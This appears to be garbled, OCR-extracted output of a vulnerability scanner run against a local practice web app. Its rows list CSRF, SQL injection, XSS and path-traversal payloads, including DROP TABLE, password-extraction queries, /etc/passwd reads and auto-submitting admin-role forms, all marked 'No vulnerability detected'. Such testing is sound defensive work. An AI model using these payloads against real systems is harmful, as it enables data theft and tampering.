csrf	http://localhost:8000/s etup.php	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩ </pre>	No vulnerability detected	200	0.25s
csrf	http://localhost:8000/s etup.php	<pre> ⟨form id='autosubmit' action='http://example .com/api/setusername' enctype='text/plain' m ethod='POST'&gt;⟨input name='username' type='hidden' value='CSRFd' /&gt;⟨input type='submit' value='Submit Request' /&gt;⟨/form&gt;⟨scr ipt&gt;document.getElem entByld('autosubmit').s ubmit();⟨/script⟩</pre>	No vulnerability detected	200	0.19s
csrf	http://localhost:8000/s	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/s etup.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/s etup.php	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'&gt;⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form&gt;⟨script&gt;docum ent.getElementByld('C SRF_POC').submit();⟨/s cript&gt;</pre>	No vulnerability detected	200	0.16s

		⟨script⟩var xhr = new			
	http://localhost:8000/s	XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro	No vulnerability		
csrf	etup.php	le":admin}');	detected	200	0.19s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR 1=1	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR 'a'='a	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	'; DROP TABLE users;	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' /*	No vulnerability detected	200	0.06s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' ({	No vulnerability detected	200	0.06s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	admin'	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	1' OR sleep(5)	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.02s

	http://localhost:8000/v				
XSS	ulnerabilities/cryptogra phy/index.php	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre> <img src=x  onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><iframe src='javascript: alert("XSS")'></iframe></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨body onload=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre>⟨input autofocus onfocus=alert('XSS')⟩</pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><video><source onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.04s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><p/onclick=alert(/XSS/) >a</pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><script>\$=1,alert(\$)</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨script⟩alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr></tbody></table></script>			

		/ d = 4 = 11 =			
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	⟨details ontoggle=alert('XSS') open⟩	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	'"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.07s
path_trav ersal	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	//etc/passwd	No vulnerability detected	200	0.02s
path_trav ersal	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	%2f%2fetc%2fpass wd	No vulnerability detected	200	0.01s
path_trav ersal	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	₩₩windows₩syste m32₩drivers₩etc₩ho sts	No vulnerability detected	200	0.01s
path_trav ersal	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre><img src="http://exam ple.com/api/setuserna me?username=CSRFd"/></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'&gt;⟨input name='username' type='hidden' value='CSRFd' /&gt;⟨input type='submit' value='Submit Request' /&gt;⟨/form⟩</pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre>⟨form id='autosubmit' action='http://example .com/api/setusername' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩⟨scr ipt⟩document.getElem entByld('autosubmit').s ubmit();⟨/script⟩</pre>	No vulnerability detected	200	0.05s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> <script>var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');</script> </pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'⟩⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /⟩ ⟨/form⟩⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR 1=1	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR 'a'='a	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	'; DROP TABLE users;	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	admin'	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR '1'='1' #	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	1' OR sleep(5)	No vulnerability detected	200	0.03s

sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	⟨script⟩alert('XSS')⟨/sc ript⟩	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><img src=x onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><iframe src='javascript: alert("XSS")'></iframe></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>〈body onload=alert('XSS')〉</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><details open ontoggle=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre>⟨input autofocus onfocus=alert('XSS')⟩</pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨video⟩⟨source onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.11s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.06s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><p/onclick=alert(/XSS/) >a</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨script⟩\$=1,alert(\$)⟨/s cript⟩</td><td>No vulnerability detected</td><td>200</td><td>0.04s</td></tr></tbody></table></script>			

		T	1	1	
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	⟨script⟩alert(1)	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.07s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy/index.php</td><td><pre>⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'>⟨input name='username' type='hidden' value='CSRFd' />⟨input type='submit' value='Submit Request' />⟨/form⟩</pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨form id='autosubmit' action='http://example .com/api/setusername' enctype='text/plain' m ethod='POST'&gt;⟨input name='username' type='hidden' value='CSRFd' /&gt;⟨input type='submit' value='Submit Request' /&gt;⟨/form&gt;⟨scr ipt&gt;document.getElem entByld('autosubmit').s ubmit();⟨/script⟩</pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.07s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'&gt;⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form&gt;⟨script&gt;docum ent.getElementByld('C SRF_POC').submit();⟨/s cript&gt;</pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy/index.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR 1=1	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR 'a'='a	No vulnerability detected	200	0.03s

sql_injecti	http://localhost:8000/v ulnerabilities/cryptogra	LI DDOD TASI S	No vulnerability	200	0.04
on	phy	'; DROP TABLE users;	detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR '1'='1' ({	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	admin'	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	1' OR sleep(5)	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/cryptogra phy	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.06s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td><pre><img src=x onerror=alert('XSS')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.04s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.04s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>⟨body onload=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre></pre>	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.06s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨script⟩alert(1)	No vulnerability detected	200	0.05s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.03s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td><pre><details ontoggle=alert('XSS') open></pre></td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/cryptogra phy</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></mtext></math></pre>			

		T	1	1	
csrf	http://localhost:8000/vulnerabilities/cryptography	⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/cryptography	<pre><img src="http://exam ple.com/api/setuserna me?username=CSRFd"/></pre>	No vulnerability detected	200	0.05s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre>⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre>⟨form id='autosubmit' action='http://example .com/api/setusername' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /&gt;⟨/form⟩⟨scr ipt⟩document.getElem entByld('autosubmit').s ubmit();⟨/script⟩</pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');</pre>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre>⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST'⟩⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /⟩ ⟨/form⟩⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	No vulnerability detected	200	0.03s

csrf	http://localhost:8000/v ulnerabilities/cryptogra phy	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.05s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR 1=1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	'; DROP TABLE users;	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR '1'='1' ({	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	1' OR sleep(5)	No vulnerability detected	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.02s
sql_injecti	http://localhost:8000/v ulnerabilities/upload	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/upload	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/upload	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.02s
